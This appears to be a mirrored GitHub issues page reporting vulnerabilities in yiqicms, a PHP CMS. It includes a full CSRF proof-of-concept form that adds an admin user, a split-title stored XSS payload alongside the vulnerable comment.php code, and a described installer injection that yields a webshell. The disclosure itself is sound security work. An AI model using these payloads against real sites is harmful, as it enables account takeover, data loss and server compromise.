Giter Site home page Giter Site logo

yiqicms's People

Contributors

wacj1425 avatar

Stargazers

avatar avatar

Forkers

fengtalk

yiqicms's Issues

CSRF vulnerability can add user

After the administrator logged in, open the following page
poc：

<html>
  <body>
    <form action="http://172.16.100.15/yiqicms-master/admin/user-add.php" method="POST">
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="userpass" value="1234" />
      <input type="hidden" name="confirmpass" value="1234" />
      <input type="hidden" name="useremail" value="1234&#64;qq&#46;com" />
      <input type="hidden" name="usergender" value="0" />
      <input type="hidden" name="action" value="save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

poc1

poc2

There is a CSRF vulnerability in admin/article.php

the cms post the form without random token,so it will cause a cstf vulnerability.
we create a test.html
image
if the administrator has logined, and then he click the test.html
image

image
image

the article has been deleted

one can insert malicious code in the installation process to get a web shell

In the CMS installation process, the configuration file filtering is not rigorous, you can insert malicious code in the installation process to execute arbitrary commands, and even get Webshell

in the install/install.php
image

author just check the database's name and its passwd,but not check the $dbprefix,so we can get Webshell.
image

and then
image

There is a storage xss vulnerability in comment title

comment.php code show as below. Only length restrictions are applied to the $msgtitle. So caused a loophole. We can use /**/ to bypass the length limit. For example, the first comment title input "<script>alert(11111/", and second input "/11111)</script>". View comments in the background to trigger the vulnerability.

if($action == "save")
{
    $msgtitle = $_POST["msgtitle"];
    $msgname = $_POST["msgname"];
    $msgcontact = $_POST["msgcontact"];
    $msgcontent = htmlspecialchars($_POST["msgcontent"]);
    
    if (empty($_SESSION['captcha']) || trim(strtolower($_POST['capcode'])) != $_SESSION['captcha']) 
    {
        ShowMsg("验证码错误,请重新输入");
        exit();
    }
    
    if(!preg_match("/^.{1,30}$/",$msgtitle))
    {
        ShowMsg("请输入正确的标题");
        exit();
    }
    if(!preg_match("/^.{1,10}$/",$msgname))
    {
        ShowMsg("请输入您的姓名");
        exit();
    }
    if(!preg_match("/^.{1,20}$/",$msgcontact))
    {
        ShowMsg("请输入正确的联系方式");
        exit();
    }
    if(!preg_match("/^.{1,200}$/",$msgcontent))
    {
        ShowMsg("请输入正确的留言内容");
        exit();
    }
        
    $msgcontent = safeCheck($msgcontent);
    
    $userip = $_SERVER["REMOTE_ADDR"];;
	$sql = "INSERT INTO yiqi_comments (cid ,title ,name,contact,content,ip,adddate)" .
		   "VALUES (NULL, '$msgtitle', '$msgname', '$msgcontact','$msgcontent', '$userip', null)";
	$result = $yiqi_db->query(CheckSql($sql));
	if($result == 1)
	{
	    ShowMsg("留言添加成功");
	}
	else
	{
	    ShowMsg("留言添加失败");
	}
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.